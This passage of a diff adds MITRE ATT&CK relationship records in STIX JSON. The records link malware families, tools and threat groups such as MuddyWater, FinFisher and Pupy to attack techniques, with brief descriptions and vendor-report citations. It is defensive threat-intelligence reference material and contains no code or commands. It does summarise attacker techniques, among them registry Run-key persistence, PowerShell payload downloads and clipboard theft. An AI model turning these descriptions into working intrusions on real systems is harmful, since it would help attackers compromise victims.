Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[WinMM](https://attack.mitre.org/software/S0059) collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e367a09-1d94-4ea4-984c-a592b769fffa", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[jRAT](https://attack.mitre.org/software/S0283) uses WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1157b635-1cd6-4f65-9be6-09a9f7ac1664", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Vasport](https://attack.mitre.org/software/S0207) is capable of tunneling though a proxy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b150e3fd-54c0-49ec-a41f-860e92712344", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "source_name": "Symantec Vasport May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e8a77e9f-594d-429a-9eb0-51502af84c14", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.020Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "source_name": "MuddyWater TrendMicro June 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain running services on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7be0437f-1d0d-4df0-9e66-70e581cc5f1a", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Proton](https://attack.mitre.org/software/S0279) captures the content of the desktop with the screencapture binary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cdb1549e-d3e6-4826-8f42-ca85fa9d08eb", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim user name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for running processes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.445Z", + "id": "relationship--39f3e098-ca5d-4dc4-9cbb-bc29148def30", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects the system's computer name and also has the capability to collect information on the processor, memory, and video card from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.927Z", + "id": "relationship--b509e591-b086-4631-a9ba-5a5dc80de8d0", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses Python scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.848Z", + "id": "relationship--57966b1d-4770-49fb-afb6-b02699bb8154", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.100Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can steal data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.724Z", + "id": "relationship--28b56048-87a7-4204-b55b-3f2f79f9073f", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.717Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:39:38.530Z", + "id": "relationship--b2b885e0-3b49-4a38-80eb-30a1a3157ff0", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.851Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "source_name": "ESET Carbon Mar 2017", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can start, stop, or delete services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:09:31.931Z", + "id": "relationship--57a7fefa-774b-4653-af2d-ebf3e2e315ce", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cfc7da70-d7c5-4508-8f50-1c3107269633", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:17.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[APT32](https://attack.mitre.org/groups/G0050) ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f13e788-b0da-457d-89b1-64196c9627b8", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) establishes persistence by creating the Registry key HKCU\\Software\\Microsoft\\Windows\\Run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0f60b67a-c6a5-4855-991e-00ec6fe5f9ac", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.508Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.733Z", + "id": "relationship--583d2c3b-dd25-4f83-812a-d38cee3cdeef", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Octopus](https://attack.mitre.org/software/S0340) can upload and download files to and from the victim\u2019s machine.[", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.049Z", + "id": "relationship--c77d6f2a-664e-4bbb-bf86-c2c58adbdc84", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) checks for installed security software like antivirus and firewall.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.621Z", + "id": "relationship--433eeadb-2011-476e-833a-7541df07d432", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.621Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) lists the directories for Desktop, program files, and the user\u2019s recently accessed files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b106375b-8359-41fa-b979-c883fa827346", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can collect system information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.814Z", + "id": "relationship--c47e35e1-cf8a-4c2b-b63d-25b37a008226", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can upload and download to/from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--151dd9ac-7e33-4580-a4a4-09f71fa73f51", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell to download additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.141Z", + "id": "relationship--ac048ca9-efc6-46fd-90fe-b9d2a641f037", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) creates a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + }, + { + "description": "Manuel, J. and Plantado, R.. (2015, August 9). Win32/Kasidet. Retrieved March 24, 2016.", + "source_name": "Microsoft Kasidet", + "url": "http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2FKasidet" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) uses a PowerShell script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) adds itself to the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\CurrentVersion\\Run\\ for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b909310-43e8-4870-ab62-d6078f27a785", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to enumerate running processes and identify their owners.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.284Z", + "id": 